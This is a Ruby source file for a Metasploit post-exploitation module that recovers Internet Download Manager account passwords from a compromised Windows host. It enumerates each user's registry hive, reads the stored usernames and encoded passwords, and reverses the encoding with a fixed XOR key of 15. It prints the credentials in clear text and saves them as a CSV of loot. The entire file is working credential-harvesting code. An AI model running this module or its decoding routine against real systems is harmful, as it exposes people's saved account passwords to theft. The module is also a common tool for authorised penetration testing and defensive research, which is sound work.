100 lines
2.6 KiB
Ruby
100 lines
2.6 KiB
Ruby
##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# web site for more information on licensing and terms of use.
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# http://metasploit.com/
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##
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require 'msf/core'
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require 'msf/core/post/windows/registry'
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require 'msf/core/auxiliary/report'
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class Metasploit3 < Msf::Post
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include Msf::Post::Windows::Registry
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include Msf::Auxiliary::Report
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def initialize(info={})
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super( update_info( info,
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'Name' => 'Windows Gather Internet Download Manager (IDM) Password Extractor',
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'Description' => %q{
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This module recovers the saved premium download account passwords from
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Internet Download Manager (IDM). These passwords are stored in an encoded
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format in the registry. This module traverses through these registry entries
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and decodes them. Thanks to the template code of theLightCosine's CoreFTP
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password module.
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},
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'License' => MSF_LICENSE,
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'Author' =>
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[
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'sil3ntdre4m <sil3ntdre4m[at]gmail.com>',
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'SecurityXploded Team <contact[at]securityxploded.com>'
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],
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'Platform' => [ 'win' ],
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'SessionTypes' => [ 'meterpreter' ]
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))
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end
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def run
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creds = Rex::Ui::Text::Table.new(
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'Header' => 'Internet Downloader Manager Credentials',
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'Indent' => 1,
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'Columns' =>
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[
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'User',
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'Password',
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'Site'
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]
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)
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registry_enumkeys('HKU').each do |k|
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next unless k.include? "S-1-5-21"
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next if k.include? "_Classes"
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print_status("Looking at Key #{k}")
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begin
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subkeys = registry_enumkeys("HKU\\#{k}\\Software\\DownloadManager\\Passwords\\")
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if subkeys.nil? or subkeys.empty?
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print_status ("IDM not installed for this user.")
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return
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end
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subkeys.each do |site|
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user = registry_getvaldata("HKU\\#{k}\\Software\\DownloadManager\\Passwords\\#{site}", "User")
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epass = registry_getvaldata("HKU\\#{k}\\Software\\DownloadManager\\Passwords\\#{site}", "EncPassword")
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next if epass == nil or epass == ""
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pass = xor(epass)
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print_good("Site: #{site} (User=#{user}, Password=#{pass})")
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creds << [user, pass, site]
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end
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print_status("Storing data...")
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path = store_loot(
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'idm.user.creds',
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'text/csv',
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session,
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creds.to_csv,
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'idm_user_creds.csv',
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'Internet Download Manager User Credentials'
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)
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print_status("IDM user credentials saved in: #{path}")
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rescue ::Exception => e
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print_error("An error has occurred: #{e.to_s}")
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end
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end
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end
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def xor(ciphertext)
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pass = ciphertext.unpack("C*")
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key=15
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for i in 0 .. pass.length-1 do
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pass[i] ^= key
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end
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return pass.pack("C*")
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end
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end
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